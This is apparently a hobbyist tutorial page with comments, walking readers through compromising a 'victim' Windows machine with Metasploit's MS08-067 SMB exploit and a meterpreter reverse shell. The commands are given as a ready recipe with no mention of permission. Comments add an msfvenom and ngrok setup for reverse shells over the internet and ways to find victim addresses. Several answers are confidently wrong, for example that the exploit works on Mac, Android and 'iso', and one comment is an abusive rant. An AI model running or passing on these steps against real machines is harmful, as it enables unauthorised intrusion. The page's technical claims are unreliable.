Hack a Computer on Your Network With Kali Linux

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Intro: Hack a Computer on Your Network With Kali Linux

Hey guys!

So you want to hack a computer and you've got Kali linux installed?

Then you are on the right place!

I am going to show you how to hack a computer.

Step 1: Start Kali Linux

Start Kali Linux and start a new terminal.

Step 2: Start the Metasploit Console

Start the Metasploit console by typing: msfconsole

This will take a few moments...

Step 3: The Commands:

So Metasploit started.

Here are the commands you need to type in:

use windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST *Your ip adress* (If you don't know your ip adress then open a new terminal and type ifconfig. your ip adress will be somewhere in the output :D)

set LPORT 4444

set RHOST *victim's ip*

set RPORT 445

exploit

(You should connect)

Type help for a list of commands.

Step 4: That's It!

That's it!

You just hacked a computer!

Congrats!

I will probably make more tutorials about hacking and other ways to hack a computer.

So if this didn't work for you, stay tuned!

I think it only works for older versions of windows :(

Also please take a look at my Widows 7 hack tutorial!

>>>

https://www.instructables.com/id/Hack-Windows-7-or-Higher-With-SeToolkit

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    Prerak Varshney

    Question 8 months ago on Step 3

    Hi there
    I have some questions about this:-
    1) Can this work with other ports.
    2) After all the process it shows the message : exploit completed but no session was created. In this case what to do.
    3) Is it only for windows or any other os
    4) Can this work with windows 10 and ubuntu.
    5) Can we use it outside our network

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    King ofCPrerak Varshney

    Answer 5 weeks ago

    1) yes it can

    2) that message means u got evreything right and you have to wait for the victim to open you're payload on their computer

    3) it can work for mac, linux, windows, android, iso

    4) yes

    5) Im not sure on this one but when i researched it u need NAT and i believe u need portforwarding

    hope this helped :)

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    anonhakerking

    Question 4 months ago

    i am having this problem because i am a beginner

    so please help me with it.

    i am using linux without any virtualization ,and i can't install a single addional software on it.

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    Megacapacitoranonhakerking

    Answer 4 months ago

    sudo apt install *gdeb1 or something*

    Please get it that you are not root (admin..)

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    anonhakerking

    Question 4 months ago

    please help me

    installed linux just now.

    i am getting bored on it.

    it has no notepad nor photo editor etc

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    Megacapacitoranonhakerking

    Answer 4 months ago

    Linux is not a operating system to mess around with...It actually has nano..vim and pluma in MATE....and IN the photo the reason you are failing is besause you are not ADMIN (root....)

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    Daddy Erik

    Question 7 months ago

    Hi!

    I was looking for a good tutorial on basic hacking/pen testing on Kali Linux, and I came across this. I was a bit frustrated reading this, because you didn't explain what anything did. set LHOST, LPORT, RHOST, and RPORT is quite obvious, but I would like to know what all of these commands actually do. I want to learn from this, not just have it as a little gimmick I can use to brag to my friends about.

    Greetz, Erik.

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    IJWTBElliotbarbo

    Reply 1 year ago

    No you dumbass. You can well see that he used windows/meterpreter/reverse_tcp .-.

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    Jaja83FulIJWTB

    Reply 7 months ago

    Yes it does you just need to change the payload to

    python/meterpreter/reverse_tcp LHOST="localhost" LPORT="localport" > pyterpreter.py

    So i guess your pretty stupid to answer a question wrong ;P

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    obamab2Deepak kumar mahto

    Reply 10 months ago

    use nmap to scan for live host on network there are enough tutorials how to do that

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    IJWTBDeepak kumar mahto

    Reply 1 year ago

    The cringe is real. You need to get the local ipadress from the victim. Do this by typing in your command prompt (I'm guessing that you're using a virtual machine) "net view" and now some host names will popup. (Ex: ERIK) Ping the host and no you've got the local ipadress( ipv4) of our victim.

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    FurqanS3

    11 months ago

    step 1 ngrok tcp 12345

    step2 msfvenomm PAYLOAD windows/meterpreter/reverse_tcp lhost 127.0.0.1 lport ngrok

    step 3 msfconsole

    step 4 use exploit /multi/handler/

    set PAYLOAD windows/meterpreter/reverse_tcp

    step 5 set lhost 127.0.0.1

    step 6 set lport 12345

    exploit

    and

    exploit -j HACK YOUR PC IN OPEN NETWORK 1000%

    ADVANCE THANKS

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    JoshuaC84

    1 year ago

    Everyone of you communists is accidentally helpful, or purposefully wasting valuable space-time in this reality. Could not give u a definitive answer to any rational reason why you could possibly still find the resolve every afternoon to slither off ur moms hideaway soda , demand she cook you an omellete, and scroll down to some poor unsuspectimg comment section u happened upon so as to leave behind your legacy- the comment section of a forums euivalent of a public bathrooms stall poetry and wall art. Keep it up

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    VastoLourdes

    2 years ago

    All I get is bash: msfconsole: command not found

    What do I do next?